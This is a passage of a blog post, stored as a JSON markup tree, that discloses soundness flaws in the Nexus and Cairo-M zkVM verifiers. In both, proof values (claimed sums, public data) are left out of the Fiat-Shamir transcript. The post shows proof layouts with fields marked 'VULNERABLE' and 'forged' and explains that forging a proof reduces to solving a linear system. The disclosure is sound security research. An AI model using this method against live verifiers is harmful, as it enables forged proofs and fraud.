15285},{"className":115284,"style":111862},[2403,19992,2452],[115286],{"type":26,"value":111865},{"type":20,"tag":315,"props":115288,"children":115290},{"className":115289},[2489,2452],[115291],{"type":26,"value":2463},{"type":20,"tag":315,"props":115293,"children":115295},{"className":115294},[2403,2452],[115296,115306],{"type":20,"tag":315,"props":115297,"children":115299},{"className":115298},[2403,26,2452],[115300],{"type":20,"tag":315,"props":115301,"children":115303},{"className":115302},[2403,2452],[115304],{"type":26,"value":115305},"produced",{"type":20,"tag":315,"props":115307,"children":115309},{"className":115308},[2419],[115310],{"type":20,"tag":315,"props":115311,"children":115313},{"className":115312},[2424,20046],[115314,115345],{"type":20,"tag":315,"props":115315,"children":115317},{"className":115316},[2429],[115318,115340],{"type":20,"tag":315,"props":115319,"children":115322},{"className":115320,"style":115321},[2434],"height:0.2052em;",[115323],{"type":20,"tag":315,"props":115324,"children":115326},{"style":115325},"top:-2.2341em;margin-right:0.0714em;",[115327,115331],{"type":20,"tag":315,"props":115328,"children":115330},{"className":115329,"style":107165},[2443],[],{"type":20,"tag":315,"props":115332,"children":115334},{"className":115333},[2449,107170,107171,2452],[115335],{"type":20,"tag":315,"props":115336,"children":115338},{"className":115337,"style":112528},[2403,19992,2452],[115339],{"type":26,"value":7052},{"type":20,"tag":315,"props":115341,"children":115343},{"className":115342},[20149],[115344],{"type":26,"value":20152},{"type":20,"tag":315,"props":115346,"children":115348},{"className":115347},[2429],[115349],{"type":20,"tag":315,"props":115350,"children":115353},{"className":115351,"style":115352},[2434],"height:0.4048em;",[115354],{"type":20,"tag":315,"props":115355,"children":115356},{},[],{"type":20,"tag":315,"props":115358,"children":115359},{"style":111878},[115360,115364],{"type":20,"tag":315,"props":115361,"children":115363},{"className":115362,"style":110476},[2443],[],{"type":20,"tag":315,"props":115365,"children":115367},{"className":115366,"style":111888},[111887],[],{"type":20,"tag":315,"props":115369,"children":115370},{"style":111892},[115371,115375],{"type":20,"tag":315,"props":115372,"children":115374},{"className":115373,"style":110476},[2443],[],{"type":20,"tag":315,"props":115376,"children":115378},{"className":115377},[2449,2450,2451,2452],[115379],{"type":20,"tag":315,"props":115380,"children":115382},{"className":115381},[2403,2452],[115383],{"type":20,"tag":315,"props":115384,"children":115386},{"className":115385},[2403,2452],[115387],{"type":26,"value":2406},{"type":20,"tag":315,"props":115389,"children":115391},{"className":115390},[20149],[115392],{"type":26,"value":20152},{"type":20,"tag":315,"props":115394,"children":115396},{"className":115395},[2429],[115397],{"type":20,"tag":315,"props":115398,"children":115401},{"className":115399,"style":115400},[2434],"height:0.6283em;",[115402],{"type":20,"tag":315,"props":115403,"children":115404},{},[],{"type":20,"tag":315,"props":115406,"children":115408},{"className":115407},[20143,111823],[],{"type":20,"tag":315,"props":115410,"children":115412},{"className":115411,"style":2484},[2483],[],{"type":20,"tag":315,"props":115414,"children":115416},{"className":115415},[2489],[115417],{"type":26,"value":2463},{"type":20,"tag":315,"props":115419,"children":115421},{"className":115420,"style":2484},[2483],[],{"type":20,"tag":315,"props":115423,"children":115425},{"className":115424},[2392],[115426,115430,115487,115491],{"type":20,"tag":315,"props":115427,"children":115429},{"className":115428,"style":112737},[2397],[],{"type":20,"tag":315,"props":115431,"children":115433},{"className":115432},[20028],[115434,115439],{"type":20,"tag":315,"props":115435,"children":115437},{"className":115436,"style":20035},[20028,20033,20034],[115438],{"type":26,"value":107100},{"type":20,"tag":315,"props":115440,"children":115442},{"className":115441},[2419],[115443],{"type":20,"tag":315,"props":115444,"children":115446},{"className":115445},[2424,20046],[115447,115476],{"type":20,"tag":315,"props":115448,"children":115450},{"className":115449},[2429],[115451,115471],{"type":20,"tag":315,"props":115452,"children":115454},{"className":115453,"style":111977},[2434],[115455],{"type":20,"tag":315,"props":115456,"children":115457},{"style":20059},[115458,115462],{"type":20,"tag":315,"props":115459,"children":115461},{"className":115460,"style":2444},[2443],[],{"type":20,"tag":315,"props":115463,"children":115465},{"className":115464},[2449,2450,2451,2452],[115466],{"type":20,"tag":315,"props":115467,"children":115469},{"className":115468,"style":92734},[2403,19992,2452],[115470],{"type":26,"value":86942},{"type":20,"tag":315,"props":115472,"children":115474},{"className":115473},[20149],[115475],{"type":26,"value":20152},{"type":20,"tag":315,"props":115477,"children":115479},{"className":115478},[2429],[115480],{"type":20,"tag":315,"props":115481,"children":115483},{"className":115482,"style":112792},[2434],[115484],{"type":20,"tag":315,"props":115485,"children":115486},{},[],{"type":20,"tag":315,"props":115488,"children":115490},{"className":115489,"style":2522},[2483],[],{"type":20,"tag":315,"props":115492,"children":115494},{"className":115493},[2403],[115495,115499,115649],{"type":20,"tag":315,"props":115496,"children":115498},{"className":115497},[20121,111823],[],{"type":20,"tag":315,"props":115500,"children":115502},{"className":115501},[111828],[115503],{"type":20,"tag":315,"props":115504,"children":115506},{"className":115505},[2424,20046],[115507,115638],{"type":20,"tag":315,"props":115508,"children":115510},{"className":115509},[2429],[115511,115633],{"type":20,"tag":315,"props":115512,"children":115514},{"className":115513,"style":111841},[2434],[115515,115602,115613],{"type":20,"tag":315,"props":115516,"children":115517},{"style":111845},[115518,115522],{"type":20,"tag":315,"props":115519,"children":115521},{"className":115520,"style":110476},[2443],[],{"type":20,"tag":315,"props":115523,"children":115525},{"className":115524},[2449,2450,2451,2452],[115526],{"type":20,"tag":315,"props":115527,"children":115529},{"className":115528},[2403,2452],[115530,115535,115540],{"type":20,"tag":315,"props":115531,"children":115533},{"className":115532,"style":111862},[2403,19992,2452],[115534],{"type":26,"value":111865},{"type":20,"tag":315,"props":115536,"children":115538},{"className":115537},[2489,2452],[115539],{"type":26,"value":2463},{"type":20,"tag":315,"props":115541,"children":115543},{"className":115542},[2403,2452],[115544,115554],{"type":20,"tag":315,"props":115545,"children":115547},{"className":115546},[2403,26,2452],[115548],{"type":20,"tag":315,"props":115549,"children":115551},{"className":115550},[2403,2452],[115552],{"type":26,"value":115553},"consumed",{"type":20,"tag":315,"props":115555,"children":115557},{"className":115556},[2419],[115558],{"type":20,"tag":315,"props":115559,"children":115561},{"className":115560},[2424,20046],[115562,115591],{"type":20,"tag":315,"props":115563,"children":115565},{"className":115564},[2429],[115566,115586],{"type":20,"tag":315,"props":115567,"children":115569},{"className":115568,"style":110637},[2434],[115570],{"type":20,"tag":315,"props":115571,"children":115572},{"style":112882},[115573,115577],{"type":20,"tag":315,"props":115574,"children":115576},{"className":115575,"style":107165},[2443],[],{"type":20,"tag":315,"props":115578,"children":115580},{"className":115579},[2449,107170,107171,2452],[115581],{"type":20,"tag":315,"props":115582,"children":115584},{"className":115583,"style":92734},[2403,19992,2452],[115585],{"type":26,"value":86942},{"type":20,"tag":315,"props":115587,"children":115589},{"className":115588},[20149],[115590],{"type":26,"value":20152},{"type":20,"tag":315,"props":115592,"children":115594},{"className":115593},[2429],[115595],{"type":20,"tag":315,"props":115596,"children":115598},{"className":115597,"style":112909},[2434],[115599],{"type":20,"tag":315,"props":115600,"children":115601},{},[],{"type":20,"tag":315,"props":115603,"children":115604},{"style":111878},[115605,115609],{"type":20,"tag":315,"props":115606,"children":115608},{"className":115607,"style":110476},[2443],[],{"type":20,"tag":315,"props":115610,"children":115612},{"className":115611,"style":111888},[111887],[],{"type":20,"tag":315,"props":115614,"children":115615},{"style":111892},[115616,115620],{"type":20,"tag":315,"props":115617,"children":115619},{"className":115618,"style":110476},[2443],[],{"type":20,"tag":315,"props":115621,"children":115623},{"className":115622},[2449,2450,2451,2452],[115624],{"type":20,"tag":315,"props":115625,"children":115627},{"className":115626},[2403,2452],[115628],{"type":20,"tag":315,"props":115629,"children":115631},{"className":115630},[2403,2452],[115632],{"type":26,"value":2406},{"type":20,"tag":315,"props":115634,"children":115636},{"className":115635},[20149],[115637],{"type":26,"value":20152},{"type":20,"tag":315,"props":115639,"children":115641},{"className":115640},[2429],[115642],{"type":20,"tag":315,"props":115643,"children":115645},{"className":115644,"style":112957},[2434],[115646],{"type":20,"tag":315,"props":115647,"children":115648},{},[],{"type":20,"tag":315,"props":115650,"children":115652},{"className":115651},[20143,111823],[],{"type":20,"tag":29,"props":115654,"children":115655},{},[115656,115658,115663],{"type":26,"value":115657},"All ",{"type":20,"tag":119,"props":115659,"children":115661},{"className":115660},[],[115662],{"type":26,"value":113169},{"type":26,"value":115664}," values must sum to zero (everything produced is consumed).",{"type":20,"tag":29,"props":115666,"children":115667},{},[115668,115670,115675],{"type":26,"value":115669},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":20,"tag":3717,"props":115671,"children":115672},{},[115673],{"type":26,"value":115674},"OODS (Out-of-Domain Sampling)",{"type":26,"value":115676}," test.",{"type":20,"tag":29,"props":115678,"children":115679},{},[115680],{"type":20,"tag":3717,"props":115681,"children":115682},{},[115683],{"type":26,"value":113721},{"type":20,"tag":305,"props":115685,"children":115687},{"code":115686},"NexusProof {\n stark_proof: {\n commitments: [Merkle roots of trace columns]\n sampled_values: [polynomial evaluations]\n fri_proof: [low-degree test proof]\n }\n claimed_sum: [FieldElement; NUM_COMPONENTS] // \u003C- VULNERABLE\n log_size: [component sizes]\n}\n",[115688],{"type":20,"tag":119,"props":115689,"children":115690},{"__ignoreMap":7},[115691],{"type":26,"value":115686},{"type":20,"tag":29,"props":115693,"children":115694},{},[115695,115697,115702],{"type":26,"value":115696},"The",{"type":20,"tag":119,"props":115698,"children":115700},{"className":115699},[],[115701],{"type":26,"value":113169},{"type":26,"value":115703}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":20,"tag":29,"props":115705,"children":115706},{},[115707],{"type":20,"tag":2308,"props":115708,"children":115711},{"alt":115709,"src":115710},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":20,"tag":29,"props":115713,"children":115714},{},[115715,115717,115726],{"type":26,"value":115716},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":20,"tag":3717,"props":115718,"children":115719},{},[115720,115721],{"type":26,"value":110176},{"type":20,"tag":119,"props":115722,"children":115724},{"className":115723},[],[115725],{"type":26,"value":113169},{"type":26,"value":2884},{"type":20,"tag":29,"props":115728,"children":115729},{},[115730],{"type":26,"value":115731},"The composition polynomial is a random linear combination of constraints:",{"type":20,"tag":29,"props":115733,"children":115734},{},[115735],{"type":20,"tag":119,"props":115736,"children":115738},{"className":115737},[2375,2376],[115739],{"type":20,"tag":315,"props":115740,"children":115742},{"className":115741},[2381],[115743],{"type":20,"tag":315,"props":115744,"children":115746},{"className":115745,"ariaHidden":2387},[2386],[115747,115788,115927],{"type":20,"tag":315,"props":115748,"children":115750},{"className":115749},[2392],[115751,115755,115760,115765,115770,115775,115779,115784],{"type":20,"tag":315,"props":115752,"children":115754},{"className":115753,"style":2504},[2397],[],{"type":20,"tag":315,"props":115756,"children":115758},{"className":115757,"style":20524},[2403,19992],[115759],{"type":26,"value":114534},{"type":20,"tag":315,"props":115761,"children":115763},{"className":115762},[20121],[115764],{"type":26,"value":1049},{"type":20,"tag":315,"props":115766,"children":115768},{"className":115767},[2403,19992],[115769],{"type":26,"value":17680},{"type":20,"tag":315,"props":115771,"children":115773},{"className":115772},[20143],[115774],{"type":26,"value":1509},{"type":20,"tag":315,"props":115776,"children":115778},{"className":115777,"style":2581},[2483],[],{"type":20,"tag":315,"props":115780,"children":115782},{"className":115781},[2586],[115783],{"type":26,"value":337},{"type":20,"tag":315,"props":115785,"children":115787},{"className":115786,"style":2581},[2483],[],{"type":20,"tag":315,"props":115789,"children":115791},{"className":115790},[2392],[115792,115796,115853,115857,115914,115918,115923],{"type":20,"tag":315,"props":115793,"children":115795},{"className":115794,"style":113938},[2397],[],{"type":20,"tag":315,"props":115797,"children":115799},{"className":115798},[20028],[115800,115805],{"type":20,"tag":315,"props":115801,"children":115803},{"className":115802,"style":20035},[20028,20033,20034],[115804],{"type":26,"value":107100},{"type":20,"tag":315,"props":115806,"children":115808},{"className":115807},[2419],[115809],{"type":20,"tag":315,"props":115810,"children":115812},{"className":115811},[2424,20046],[115813,115842],{"type":20,"tag":315,"props":115814,"children":115816},{"className":115815},[2429],[115817,115837],{"type":20,"tag":315,"props":115818,"children":115820},{"className":115819,"style":112512},[2434],[115821],{"type":20,"tag":315,"props":115822,"children":115823},{"style":20059},[115824,115828],{"type":20,"tag":315,"props":115825,"children":115827},{"className":115826,"style":2444},[2443],[],{"type":20,"tag":315,"props":115829,"children":115831},{"className":115830},[2449,2450,2451,2452],[115832],{"type":20,"tag":315,"props":115833,"children":115835},{"className":115834},[2403,19992,2452],[115836],{"type":26,"value":2122},{"type":20,"tag":315,"props":115838,"children":115840},{"className":115839},[20149],[115841],{"type":26,"value":20152},{"type":20,"tag":315,"props":115843,"children":115845},{"className":115844},[2429],[115846],{"type":20,"tag":315,"props":115847,"children":115849},{"className":115848,"style":112792},[2434],[115850],{"type":20,"tag":315,"props":115851,"children":115852},{},[],{"type":20,"tag":315,"props":115854,"children":115856},{"className":115855,"style":2522},[2483],[],{"type":20,"tag":315,"props":115858,"children":115860},{"className":115859},[2403],[115861,115866],{"type":20,"tag":315,"props":115862,"children":115864},{"className":115863,"style":113393},[2403,19992],[115865],{"type":26,"value":113396},{"type":20,"tag":315,"props":115867,"children":115869},{"className":115868},[2419],[115870],{"type":20,"tag":315,"props":115871,"children":115873},{"className":115872},[2424,20046],[115874,115903],{"type":20,"tag":315,"props":115875,"children":115877},{"className":115876},[2429],[115878,115898],{"type":20,"tag":315,"props":115879,"children":115881},{"className":115880,"style":91834},[2434],[115882],{"type":20,"tag":315,"props":115883,"children":115884},{"style":114028},[115885,115889],{"type":20,"tag":315,"props":115886,"children":115888},{"className":115887,"style":2444},[2443],[],{"type":20,"tag":315,"props":115890,"children":115892},{"className":115891},[2449,2450,2451,2452],[115893],{"type":20,"tag":315,"props":115894,"children":115896},{"className":115895},[2403,19992,2452],[115897],{"type":26,"value":2122},{"type":20,"tag":315,"props":115899,"children":115901},{"className":115900},[20149],[115902],{"type":26,"value":20152},{"type":20,"tag":315,"props":115904,"children":115906},{"className":115905},[2429],[115907],{"type":20,"tag":315,"props":115908,"children":115910},{"className":115909,"style":91388},[2434],[115911],{"type":20,"tag":315,"props":115912,"children":115913},{},[],{"type":20,"tag":315,"props":115915,"children":115917},{"className":115916,"style":2484},[2483],[],{"type":20,"tag":315,"props":115919,"children":115921},{"className":115920},[2489],[115922],{"type":26,"value":109567},{"type":20,"tag":315,"props":115924,"children":115926},{"className":115925,"style":2484},[2483],[],{"type":20,"tag":315,"props":115928,"children":115930},{"className":115929},[2392],[115931,115935,115997,116002,116007],{"type":20,"tag":315,"props":115932,"children":115934},{"className":115933,"style":2504},[2397],[],{"type":20,"tag":315,"props":115936,"children":115938},{"className":115937},[2403],[115939,115949],{"type":20,"tag":315,"props":115940,"children":115942},{"className":115941},[2403,26],[115943],{"type":20,"tag":315,"props":115944,"children":115946},{"className":115945},[2403],[115947],{"type":26,"value":115948},"constraint",{"type":20,"tag":315,"props":115950,"children":115952},{"className":115951},[2419],[115953],{"type":20,"tag":315,"props":115954,"children":115956},{"className":115955},[2424,20046],[115957,115986],{"type":20,"tag":315,"props":115958,"children":115960},{"className":115959},[2429],[115961,115981],{"type":20,"tag":315,"props":115962,"children":115964},{"className":115963,"style":91834},[2434],[115965],{"type":20,"tag":315,"props":115966,"children":115967},{"style":112435},[115968,115972],{"type":20,"tag":315,"props":115969,"children":115971},{"className":115970,"style":2444},[2443],[],{"type":20,"tag":315,"props":115973,"children":115975},{"className":115974},[2449,2450,2451,2452],[115976],{"type":20,"tag":315,"props":115977,"children":115979},{"className":115978},[2403,19992,2452],[115980],{"type":26,"value":2122},{"type":20,"tag":315,"props":115982,"children":115984},{"className":115983},[20149],[115985],{"type":26,"value":20152},{"type":20,"tag":315,"props":115987,"children":115989},{"className":115988},[2429],[115990],{"type":20,"tag":315,"props":115991,"children":115993},{"className":115992,"style":91388},[2434],[115994],{"type":20,"tag":315,"props":115995,"children":115996},{},[],{"type":20,"tag":315,"props":115998,"children":116000},{"className":115999},[20121],[116001],{"type":26,"value":1049},{"type":20,"tag":315,"props":116003,"children":116005},{"className":116004},[2403,19992],[116006],{"type":26,"value":17680},{"type":20,"tag":315,"props":116008,"children":116010},{"className":116009},[20143],[116011],{"type":26,"value":1509},{"type":20,"tag":29,"props":116013,"children":116014},{},[116015,116017,116022,116024,116029],{"type":26,"value":116016},"Since each constraint is linear in its ",{"type":20,"tag":119,"props":116018,"children":116020},{"className":116019},[],[116021],{"type":26,"value":113169},{"type":26,"value":116023},", the overall composition polynomial is linear in all ",{"type":20,"tag":119,"props":116025,"children":116027},{"className":116026},[],[116028],{"type":26,"value":113169},{"type":26,"value":116030}," values.",{"type":20,"tag":29,"props":116032,"children":116033},{},[116034,116036],{"type":26,"value":116035},"The verifier checks ",{"type":20,"tag":119,"props":116037,"children":116039},{"className":116038},[2375,2376],[116040],{"type":20,"tag":315,"props":116041,"children":116043},{"className":116042},[2381],[116044],{"type":20,"tag":315,"props":116045,"children":116047},{"className":116046,"ariaHidden":2387},[2386],[116048,116109],{"type":20,"tag":315,"props":116049,"children":116051},{"className":116050},[2392],[116052,116056,116061,116066,116076,116081,116091,116096,116100,116105],{"type":20,"tag":315,"props":116053,"children":116055},{"className":116054,"style":91247},[2397],[],{"type":20,"tag":315,"props":116057,"children":116059},{"className":116058,"style":20524},[2403,19992],[116060],{"type":26,"value":114534},{"type":20,"tag":315,"props":116062,"children":116064},{"className":116063},[20121],[116065],{"type":26,"value":1049},{"type":20,"tag":315,"props":116067,"children":116069},{"className":116068},[2403,26],[116070],{"type":20,"tag":315,"props":116071,"children":116073},{"className":116072},[2403],[116074],{"type":26,"value":116075},"oods",{"type":20,"tag":315,"props":116077,"children":116079},{"className":116078,"style":91305},[2403],[116080],{"type":26,"value":1463},{"type":20,"tag":315,"props":116082,"children":116084},{"className":116083},[2403,26],[116085],{"type":20,"tag":315,"props":116086,"children":116088},{"className":116087},[2403],[116089],{"type":26,"value":116090},"point",{"type":20,"tag":315,"props":116092,"children":116094},{"className":116093},[20143],[116095],{"type":26,"value":1509},{"type":20,"tag":315,"props":116097,"children":116099},{"className":116098,"style":2581},[2483],[],{"type":20,"tag":315,"props":116101,"children":116103},{"className":116102},[2586],[116104],{"type":26,"value":337},{"type":20,"tag":315,"props":116106,"children":116108},{"className":116107,"style":2581},[2483],[],{"type":20,"tag":315,"props":116110,"children":116112},{"className":116111},[2392],[116113,116117],{"type":20,"tag":315,"props":116114,"children":116116},{"className":116115,"style":113360},[2397],[],{"type":20,"tag":315,"props":116118,"children":116120},{"className":116119},[2403,26],[116121],{"type":20,"tag":315,"props":116122,"children":116124},{"className":116123},[2403],[116125],{"type":26,"value":114859},{"type":20,"tag":29,"props":116127,"children":116128},{},[116129,116131,116136,116138,116143],{"type":26,"value":116130},"With ",{"type":20,"tag":119,"props":116132,"children":116134},{"className":116133},[],[116135],{"type":26,"value":113169},{"type":26,"value":116137}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":20,"tag":119,"props":116139,"children":116141},{"className":116140},[],[116142],{"type":26,"value":113169},{"type":26,"value":116144}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":20,"tag":29,"props":116146,"children":116147},{},[116148,116152,116154],{"type":20,"tag":3717,"props":116149,"children":116150},{},[116151],{"type":26,"value":115015},{"type":26,"value":116153}," Fixed on October 24, 2025 via ",{"type":20,"tag":35,"props":116155,"children":116158},{"href":116156,"rel":116157},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[39],[116159],{"type":26,"value":116160},"PR #503",{"type":20,"tag":17197,"props":116162,"children":116163},{},[],{"type":20,"tag":219,"props":116165,"children":116167},{"id":116166},"cairo-m-kakarot-labs",[116168],{"type":26,"value":116169},"Cairo-M (Kakarot Labs)",{"type":20,"tag":29,"props":116171,"children":116172},{},[116173],{"type":26,"value":116174},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":20,"tag":29,"props":116176,"children":116177},{},[116178],{"type":26,"value":116179},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":20,"tag":29,"props":116181,"children":116182},{},[116183],{"type":20,"tag":3717,"props":116184,"children":116185},{},[116186],{"type":26,"value":113721},{"type":20,"tag":305,"props":116188,"children":116190},{"code":116189},"Proof {\n claim: ComponentSizes,\n interaction_claim: LogupClaimsPerComponent,\n public_data: { // \u003C- VULNERABLE\n initial_registers: { pc, fp },\n final_registers: { pc, fp }, // \u003C- forged\n clock, // \u003C- forged\n initial_root, \n final_root, // \u003C- forged\n public_memory: { program, input, output }, //output modified\n },\n stark_proof: [...],\n}\n",[116191],{"type":20,"tag":119,"props":116192,"children":116193},{"__ignoreMap":7},[116194],{"type":26,"value":116189},{"type":20,"tag":29,"props":116196,"children":116197},{},[116198],{"type":20,"tag":3717,"props":116199,"children":116200},{},[116201],{"type":26,"value":113737},{"type":20,"tag":29,"props":116203,"children":116204},{},[116205],{"type":20,"tag":2308,"props":116206,"children":116209},{"alt":116207,"src":116208},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":20,"tag":29,"props":116211,"children":116212},{},[116213,116215,116221],{"type":26,"value":116214},"Lookup challenges are derived without ",{"type":20,"tag":119,"props":116216,"children":116218},{"className":116217},[],[116219],{"type":26,"value":116220},"public_data",{"type":26,"value":116222}," being mixed into the transcript.",{"type":20,"tag":29,"props":116224,"children":116225},{},[116226,116227,116232,116234,116239],{"type":26,"value":15015},{"type":20,"tag":119,"props":116228,"children":116230},{"className":116229},[],[116231],{"type":26,"value":116220},{"type":26,"value":116233}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":20,"tag":55,"props":116235,"children":116236},{},[116237],{"type":26,"value":116238},"denominators",{"type":26,"value":116240}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the form:",{"type":20,"tag":29,"props":116242,"children":116243},{},[116244],{"type":20,"tag":119,"props":116245,"children":116247},{"className":116246},[2375,2376],[116248],{"type":20,"tag":315,"props":116249,"children":116251},{"className":116250},[2381],[116252],{"type":20,"tag":315,"props":116253,"children":116255},{"className":116254,"ariaHidden":2387},[2386],[116256,116316,116362,116408],{"type":20,"tag":315,"props":116257,"children":116259},{"className":116258},[2392],[116260,116264,116270,116275,116284,116289,116298,116303,116307,116312],{"type":20,"tag":315,"props":116261,"children":116263},{"className":116262,"style":91247},[2397],[],{"type":20,"tag":315,"props":116265,"children":116267},{"className":116266},[2403,19992],[116268],{"type":26,"value":116269},"L",{"type":20,"tag":315,"props":116271,"children":116273},{"className":116272},[20121],[116274],{"type":26,"value":1049},{"type":20,"tag":315,"props":116276,"children":116278},{"className":116277},[2403,26],[116279],{"type":20,"tag":315,"props":116280,"children":116282},{"className":116281},[2403],[116283],{"type":26,"value":59929},{"type":20,"tag":315,"props":116285,"children":116287},{"className":116286,"style":91305},[2403],[116288],{"type":26,"value":1463},{"type":20,"tag":315,"props":116290,"children":116292},{"className":116291},[2403,26],[116293],{"type":20,"tag":315,"props":116294,"children":116296},{"className":116295},[2403],[116297],{"type":26,"value":2085},{"type":20,"tag":315,"props":116299,"children":116301},{"className":116300},[20143],[116302],{"type":26,"value":1509},{"type":20,"tag":315,"props":116304,"children":116306},{"className":116305,"style":2484},[2483],[],{"type":20,"tag":315,"props":116308,"children":116310},{"className":116309},[2489],[116311],{"type":26,"value":817},{"type":20,"tag":315,"props":116313,"children":116315},{"className":116314,"style":2484},[2483],[],{"type":20,"tag":315,"props":116317,"children":116319},{"className":116318},[2392],[116320,116324,116334,116339,116349,116353,116358],{"type":20,"tag":315,"props":116321,"children":116323},{"className":116322,"style":91247},[2397],[],{"type":20,"tag":315,"props":116325,"children":116327},{"className":116326},[2403,26],[116328],{"type":20,"tag":315,"props":116329,"children":116331},{"className":116330},[2403],[116332],{"type":26,"value":116333},"(other transcript",{"type":20,"tag":315,"props":116335,"children":116337},{"className":116336,"style":91305},[2403],[116338],{"type":26,"value":1463},{"type":20,"tag":315,"props":116340,"children":116342},{"className":116341},[2403,26],[116343],{"type":20,"tag":315,"props":116344,"children":116346},{"className":116345},[2403],[116347],{"type":26,"value":116348},"bound terms)",{"type":20,"tag":315,"props":116350,"children":116352},{"className":116351,"style":2581},[2483],[],{"type":20,"tag":315,"props":116354,"children":116356},{"className":116355},[2586],[116357],{"type":26,"value":337},{"type":20,"tag":315,"props":116359,"children":116361},{"className":116360,"style":2581},[2483],[],{"type":20,"tag":315,"props":116363,"children":116365},{"className":116364},[2392],[116366,116371,116376,116381,116386,116390,116395,116399,116404],{"type":20,"tag":315,"props":116367,"children":116370},{"className":116368,"style":116369},[2397],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":20,"tag":315,"props":116372,"children":116374},{"className":116373},[2403],[116375],{"type":26,"value":1063},{"type":20,"tag":315,"props":116377,"children":116379},{"className":116378},[2515],[116380],{"type":26,"value":2518},{"type":20,"tag":315,"props":116382,"children":116385},{"className":116383,"style":116384},[2483],"margin-right:2em;",[],{"type":20,"tag":315,"props":116387,"children":116389},{"className":116388,"style":2522},[2483],[],{"type":20,"tag":315,"props":116391,"children":116393},{"className":116392},[2403,19992],[116394],{"type":26,"value":116269},{"type":20,"tag":315,"props":116396,"children":116398},{"className":116397,"style":2581},[2483],[],{"type":20,"tag":315,"props":116400,"children":116402},{"className":116401},[2586],[116403],{"type":26,"value":337},{"type":20,"tag":315,"props":116405,"children":116407},{"className":116406,"style":2581},[2483],[],{"type":20,"tag":315,"props":116409,"children":116411},{"className":116410},[2392],[116412,116417,116474,116478,116696],{"type":20,"tag":315,"props":116413,"children":116416},{"className":116414,"style":116415},[2397],"height:1.4071em;vertical-align:-0.562em;",[],{"type":20,"tag":315,"props":116418,"children":116420},{"className":116419},[20028],[116421,116426],{"type":20,"tag":315,"props":116422,"children":116424},{"className":116423,"style":20035},[20028,20033,20034],[116425],{"type":26,"value":107100},{"type":20,"tag":315,"props":116427,"children":116429},{"className":116428},[2419],[116430],{"type":20,"tag":315,"props":116431,"children":116433},{"className":116432},[2424,20046],[116434,116463],{"type":20,"tag":315,"props":116435,"children":116437},{"className":116436},[2429],[116438,116458],{"type":20,"tag":315,"props":116439,"children":116441},{"className":116440,"style":112512},[2434],[116442],{"type":20,"tag":315,"props":116443,"children":116444},{"style":20059},[116445,116449],{"type":20,"tag":315,"props":116446,"children":116448},{"className":116447,"style":2444},[2443],[],{"type":20,"tag":315,"props":116450,"children":116452},{"className":116451},[2449,2450,2451,2452],[116453],{"type":20,"tag":315,"props":116454,"children":116456},{"className":116455},[2403,19992,2452],[116457],{"type":26,"value":2122},{"type":20,"tag":315,"props":116459,"children":116461},{"className":116460},[20149],[116462],{"type":26,"value":20152},{"type":20,"tag":315,"props":116464,"children":116466},{"className":116465},[2429],[116467],{"type":20,"tag":315,"props":116468,"children":116470},{"className":116469,"style":112792},[2434],[116471],{"type":20,"tag":315,"props":116472,"children":116473},{},[],{"type":20,"tag":315,"props":116475,"children":116477},{"className":116476,"style":2522},[2483],[],{"type":20,"tag":315,"props":116479,"children":116481},{"className":116480},[2403],[116482,116486,116692],{"type":20,"tag":315,"props":116483,"children":116485},{"className":116484},[20121,111823],[],{"type":20,"tag":315,"props":116487,"children":116489},{"className":116488},[111828],[116490],{"type":20,"tag":315,"props":116491,"children":116493},{"className":116492},[2424,20046],[116494,116680],{"type":20,"tag":315,"props":116495,"children":116497},{"className":116496},[2429],[116498,116675],{"type":20,"tag":315,"props":116499,"children":116501},{"className":116500,"style":111841},[2434],[116502,116644,116655],{"type":20,"tag":315,"props":116503,"children":116504},{"style":111845},[116505,116509],{"type":20,"tag":315,"props":116506,"children":116508},{"className":116507,"style":110476},[2443],[],{"type":20,"tag":315,"props":116510,"children":116512},{"className":116511},[2449,2450,2451,2452],[116513],{"type":20,"tag":315,"props":116514,"children":116516},{"className":116515},[2403,2452],[116517,116522,116527,116533,116538,116543,116600,116605,116614,116619,116628,116634,116639],{"type":20,"tag":315,"props":116518,"children":116520},{"className":116519,"style":111862},[2403,19992,2452],[116521],{"type":26,"value":111865},{"type":20,"tag":315,"props":116523,"children":116525},{"className":116524},[2489,2452],[116526],{"type":26,"value":817},{"type":20,"tag":315,"props":116528,"children":116530},{"className":116529},[20121,2452],[116531],{"type":26,"value":116532},"⟨",{"type":20,"tag":315,"props":116534,"children":116536},{"className":116535,"style":113393},[2403,19992,2452],[116537],{"type":26,"value":113396},{"type":20,"tag":315,"props":116539,"children":116541},{"className":116540},[2515,2452],[116542],{"type":26,"value":2518},{"type":20,"tag":315,"props":116544,"children":116546},{"className":116545},[2403,2452],[116547,116552],{"type":20,"tag":315,"props":116548,"children":116550},{"className":116549},[2403,19992,2452],[116551],{"type":26,"value":20134},{"type":20,"tag":315,"props":116553,"children":116555},{"className":116554},[2419],[116556],{"type":20,"tag":315,"props":116557,"children":116559},{"className":116558},[2424,20046],[116560,116589],{"type":20,"tag":315,"props":116561,"children":116563},{"className":116562},[2429],[116564,116584],{"type":20,"tag":315,"props":116565,"children":116567},{"className":116566,"style":112629},[2434],[116568],{"type":20,"tag":315,"props":116569,"children":116570},{"style":107160},[116571,116575],{"type":20,"tag":315,"props":116572,"children":116574},{"className":116573,"style":107165},[2443],[],{"type":20,"tag":315,"props":116576,"children":116578},{"className":116577},[2449,107170,107171,2452],[116579],{"type":20,"tag":315,"props":116580,"children":116582},{"className":116581},[2403,19992,2452],[116583],{"type":26,"value":2122},{"type":20,"tag":315,"props":116585,"children":116587},{"className":116586},[20149],[116588],{"type":26,"value":20152},{"type":20,"tag":315,"props":116590,"children":116592},{"className":116591},[2429]